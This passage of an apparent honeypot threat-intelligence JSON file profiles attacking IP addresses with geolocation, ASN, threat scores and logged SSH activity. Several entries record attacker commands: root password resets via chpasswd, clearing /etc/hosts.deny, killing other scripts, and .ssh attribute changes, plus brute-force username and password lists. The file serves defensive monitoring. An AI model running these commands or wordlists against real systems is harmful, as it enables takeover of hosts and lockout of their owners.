      "attack_count": 2,
      "first_seen": "2026-03-04T05:58:45.634Z",
      "last_seen": "2026-03-04T05:58:58.914Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Buk-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T05:58:45.634000+00:00",
        "last_seen_30d": "2026-03-04T06:00:07.149000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "211.237.247.8": {
      "attack_count": 2,
      "first_seen": "2026-03-15T05:06:22.721Z",
      "last_seen": "2026-03-15T05:06:36.285Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwanak-gu",
      "asn": 9762,
      "as_org": "kt HCN Co.,Ltd.",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T05:06:22.721000+00:00",
        "last_seen_30d": "2026-03-15T05:07:44.654000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.148.214.69": {
      "attack_count": 2,
      "first_seen": "2026-03-22T18:53:47.269Z",
      "last_seen": "2026-03-22T18:53:53.214Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 34619,
      "as_org": "Cizgi Telekomunikasyon Anonim Sirketi",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 8.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 10,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-13T13:23:40+00:00",
        "last_seen_30d": "2026-03-22T18:54:58.487000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2,
        "Honeytrap": 1
      }
    },
    "41.59.233.254": {
      "attack_count": 2,
      "first_seen": "2026-03-21T03:10:40.616Z",
      "last_seen": "2026-03-21T03:10:53.568Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T03:10:40.616000+00:00",
        "last_seen_30d": "2026-03-21T03:12:03.758000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.36.125": {
      "attack_count": 2,
      "first_seen": "2026-03-16T08:30:01.330Z",
      "last_seen": "2026-03-16T08:30:14.288Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": null,
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T08:30:01.330000+00:00",
        "last_seen_30d": "2026-03-16T08:31:17.780000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "43.250.253.3": {
      "attack_count": 2,
      "first_seen": "2026-03-12T14:57:25.948Z",
      "last_seen": "2026-03-12T14:57:41.078Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 133676,
      "as_org": "Precious netcom pvt ltd",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T14:57:25.948000+00:00",
        "last_seen_30d": "2026-03-12T14:58:51.017000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "44.220.185.49": {
      "attack_count": 2,
      "first_seen": "2026-03-09T06:00:19.268Z",
      "last_seen": "2026-03-09T06:00:24.626Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T06:00:19.268000+00:00",
        "last_seen_30d": "2026-03-09T06:01:34.771000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.142.149.113": {
      "attack_count": 2,
      "first_seen": "2026-03-06T01:05:47.546Z",
      "last_seen": "2026-03-06T01:06:01.463Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Cheongju-si",
      "asn": 9319,
      "as_org": "HCN CHUNGBUK CABLE TV SYSTEMS",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T01:05:47.546000+00:00",
        "last_seen_30d": "2026-03-06T01:07:02.279000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "87.249.18.170": {
      "attack_count": 2,
      "first_seen": "2026-03-07T11:02:19.994Z",
      "last_seen": "2026-03-07T11:02:50.371Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 31430,
      "as_org": "OOO Suntel",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T11:02:19.994000+00:00",
        "last_seen_30d": "2026-03-07T11:03:58.271000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.231.89.149": {
      "attack_count": 2,
      "first_seen": "2026-03-28T13:47:51.587Z",
      "last_seen": "2026-03-28T13:47:51.588Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 80.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 30,
        "ports_targeted_30d": 48,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T16:26:49+00:00",
        "last_seen_30d": "2026-03-31T23:19:07.132000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 69,
        "Honeytrap": 49,
        "Cowrie": 2
      }
    },
    "80.94.92.182": {
      "attack_count": 1829,
      "first_seen": "2026-03-02T22:16:33.871Z",
      "last_seen": "2026-03-23T02:37:55.162Z",
      "sessions": 365,
      "ports": [],
      "usernames_attempted": [
        "solana",
        "sol",
        "ubuntu",
        "root",
        "3d",
        "firedancer",
        "jibs",
        "minima",
        "node",
        "opadmin",
        "operation",
        "ops",
        "ps",
        "raydium",
        "validator",
        "psadmin"
      ],
      "passwords_attempted": [
        "qwer1234",
        "solana",
        "!@#$%^",
        "firedancer",
        "validator",
        "123",
        "1234",
        "123456",
        "1234567890-=",
        "1234qwer",
        "1q2w3e4r",
        "1qq2w3e4r5t",
        "321",
        "3d",
        "ZXCVASDFQWER!@#$",
        "jibs",
        "minima",
        "node",
        "opadmin",
        "operation"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 44.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 2766,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T22:08:59.332000+00:00",
        "last_seen_30d": "2026-03-23T02:38:59.971000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1829,
        "Suricata": 937
      }
    },
    "211.106.133.202": {
      "attack_count": 818,
      "first_seen": "2026-03-03T08:15:30.017Z",
      "last_seen": "2026-03-12T04:42:59.777Z",
      "sessions": 70,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "clawd",
        "asterix",
        "paula",
        "backup",
        "center",
        "certftp",
        "dev1",
        "devman",
        "escaner",
        "fukahori",
        "iwami",
        "man",
        "mostafa",
        "nexus5",
        "nuc",
        "nuxeo",
        "ocs",
        "osmc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "Bingo@1993",
        "100200300",
        "111111",
        "12345",
        "1234554321",
        "123456",
        "123456!@",
        "1q2w3e4r",
        "2025",
        "Abc123@@",
        "Admin@2026",
        "B5m@998Rc*#C",
        "Cy123456789",
        "Devman123",
        "Golden123",
        "HW@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345\\nIqYPQGfVUbzG\\nIqYPQGfVUbzG\\n\"|passwd",
        "echo \"1234\\nZk96ThrPdYvc\\nZk96ThrPdYvc\\n\"|passwd",
        "echo \"123\\nX72h7ksSL3EB\\nX72h7ksSL3EB\\n\"|passwd",
        "echo \"123\\nud6uAcbafOtN\\nud6uAcbafOtN\\n\"|passwd",
        "echo \"root:K1hFXfbVaBek\"|chpasswd|bash",
        "echo \"root:bh4UzMxTf9JV\"|chpasswd|bash",
        "echo \"root:ddgl1pilSuyR\"|chpasswd|bash",
        "echo \"root:uMG5XaV6ioSq\"|chpasswd|bash",
        "echo -e \"12345\\nIqYPQGfVUbzG\\nIqYPQGfVUbzG\"|passwd|bash",
        "echo -e \"1234\\nZk96ThrPdYvc\\nZk96ThrPdYvc\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Songpa-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.9,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 982,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T08:15:30.017000+00:00",
        "last_seen_30d": "2026-03-12T04:44:00.247000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 818,
        "Suricata": 164
      }
    },
    "203.192.232.180": {
      "attack_count": 801,
      "first_seen": "2026-03-04T07:09:10.823Z",
      "last_seen": "2026-03-26T08:18:21.717Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bai",
        "claude",
        "dp",
        "edward",
        "mahdi",
        "mehedi",
        "stefan",
        "usuario1",
        "abc",
        "adminer",
        "boom",
        "clawd",
        "cody",
        "dario",
        "dspace",
        "escaner",
        "friend",
        "jitendra"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "!@QW34er",
        "12121212",
        "12344",
        "1qazXSW@3edcVFR$",
        "@qwer2024",
        "@qwer2025",
        "Abc123",
        "Bai123",
        "Bingo@1993",
        "Dario123!",
        "Edward123",
        "Gfhjkm123456",
        "Mehedi123!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\n7Ce7evU17028\\n7Ce7evU17028\\n\"|passwd",
        "echo \"12345\\nw6KMlAoGGSM7\\nw6KMlAoGGSM7\\n\"|passwd",
        "echo \"1234\\nFiRh92FwdIgs\\nFiRh92FwdIgs\\n\"|passwd",
        "echo \"Bai123\\nI23G6qcELsac\\nI23G6qcELsac\\n\"|passwd",
        "echo \"Edward123\\nfDuy8yz7YwyJ\\nfDuy8yz7YwyJ\\n\"|passwd",
        "echo \"Mehedi123!\\nF8HxdmuUKjQr\\nF8HxdmuUKjQr\\n\"|passwd",
        "echo \"claude2025\\nQLbkeZ8r7DgS\\nQLbkeZ8r7DgS\\n\"|passwd",
        "echo \"usuario1123!\\nZ7XcVZo0UkjT\\nZ7XcVZo0UkjT\\n\"|passwd",
        "echo -e \"12345678\\n7Ce7evU17028\\n7Ce7evU17028\"|passwd|bash",
        "echo -e \"12345\\nw6KMlAoGGSM7\\nw6KMlAoGGSM7\"|passwd|bash",
        "echo -e \"1234\\nFiRh92FwdIgs\\nFiRh92FwdIgs\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 17665,
      "as_org": "ONEOTT INTERTAINMENT LIMITED",
      "threat_score": 50.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.7,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 941,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T07:09:10.823000+00:00",
        "last_seen_30d": "2026-03-26T08:19:25.817000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 801,
        "Suricata": 140
      }
    },
    "184.168.21.211": {
      "attack_count": 506,
      "first_seen": "2026-03-02T00:01:10.530Z",
      "last_seen": "2026-03-24T01:50:00.634Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "felix",
        "alyssa",
        "ftproot",
        "kamal",
        "ali",
        "chrome",
        "comercial",
        "denis",
        "guest",
        "hacker",
        "janice",
        "lekaren",
        "mycat",
        "rich",
        "sahil",
        "security",
        "sit",
        "teamspeak"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "password",
        "1122332019",
        "123",
        "12312312",
        "1234",
        "12345",
        "123456",
        "123qqq...",
        "Aa123123!",
        "Admin101",
        "Ali123",
        "Cloud-12345",
        "Denis123!",
        "Felix123",
        "Lekaren123",
        "Sit123!",
        "alyssa@123456"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\ndSQJ1EEfddE8\\ndSQJ1EEfddE8\\n\"|passwd",
        "echo \"alyssa@123456\\n4cJZC8bMugLU\\n4cJZC8bMugLU\\n\"|passwd",
        "echo \"kamalkamal\\nuxRpjjg5KDux\\nuxRpjjg5KDux\\n\"|passwd",
        "echo \"root:TsvgziVqHGwi\"|chpasswd|bash",
        "echo \"root:yDxwvaJClxPv\"|chpasswd|bash",
        "echo -e \"12345678\\ndSQJ1EEfddE8\\ndSQJ1EEfddE8\"|passwd|bash",
        "echo -e \"alyssa@123456\\n4cJZC8bMugLU\\n4cJZC8bMugLU\"|passwd|bash",
        "echo -e \"kamalkamal\\nuxRpjjg5KDux\\nuxRpjjg5KDux\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 45.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.8,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 603,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:00:12.955000+00:00",
        "last_seen_30d": "2026-03-24T01:51:08.921000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 506,
        "Suricata": 97
      }
    },
    "178.16.54.6": {
      "attack_count": 391,
      "first_seen": "2026-03-02T00:14:59.780Z",
      "last_seen": "2026-03-11T10:30:44.155Z",
      "sessions": 75,
      "ports": [],
      "usernames_attempted": [
        "ddd",
        "ftp1",
        "authority"
      ],
      "passwords_attempted": [
        "ddd",
        "ftp1",
        "authority"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.9,
        "persistence": 8.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 616,
        "days_active_30d": 10,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:14:59.780000+00:00",
        "last_seen_30d": "2026-03-11T10:31:53.540000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 391,
        "Suricata": 225
      }
    },
    "103.193.178.248": {
      "attack_count": 388,
      "first_seen": "2026-03-06T13:29:46.911Z",
      "last_seen": "2026-03-11T05:08:40.199Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "pyramid",
        "azuracast",
        "clawd",
        "cvs",
        "dmdba",
        "docker",
        "edu",
        "ghost",
        "github-runner",
        "linux",
        "orders",
        "root1",
        "testuser",
        "timemachine",
        "vpnadmin",
        "wireguard",
        "yan"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "123456",
        "@qwer2025",
        "@qwer2026",
        "Abc123!!!",
        "Docker123!",
        "Orders123",
        "Qwert!2345",
        "Server123@",
        "Server2026",
        "cvs",
        "dmdba123",
        "pass",
        "password",
        "pyramid123",
        "root1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"pyramid123\\niOcF25qTCD11\\niOcF25qTCD11\\n\"|passwd",
        "echo \"root:5feMyAu0OTlt\"|chpasswd|bash",
        "echo \"root:s5sgnuE0D1Ic\"|chpasswd|bash",
        "echo \"root:xdSaIBMZ1Wyo\"|chpasswd|bash",
        "echo -e \"pyramid123\\niOcF25qTCD11\\niOcF25qTCD11\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.6,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 462,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T13:29:46.911000+00:00",
        "last_seen_30d": "2026-03-11T05:09:50.204000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 388,
        "Suricata": 74
      }
    },
    "31.57.63.12": {
      "attack_count": 335,
      "first_seen": "2026-03-09T09:51:35.177Z",
      "last_seen": "2026-03-17T13:09:15.164Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "maxime",
        "nova",
        "adrian",
        "arm",
        "claude",
        "crafty",
        "deamon",
        "deploy",
        "fran",
        "frappeuser",
        "hh",
        "issabel",
        "jhlee",
        "jira",
        "joao",
        "kevin",
        "koha",
        "live"
      ],
      "passwords_attempted": [
        "password",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "123123aA",
        "1234",
        "12345678",
        "123456789",
        "123456Q!",
        "Ab123456",
        "Hello@2024",
        "Qwerty123456789",
        "VPS",
        "adrianpass",
        "deamon@123",
        "franpass",
        "frappeuser1234",
        "hh1234",
        "issabel123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"maxime123\\nCaqAWcVxb8Fp\\nCaqAWcVxb8Fp\\n\"|passwd",
        "echo \"root:n6ycFuKfKh1r\"|chpasswd|bash",
        "echo -e \"maxime123\\nCaqAWcVxb8Fp\\nCaqAWcVxb8Fp\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
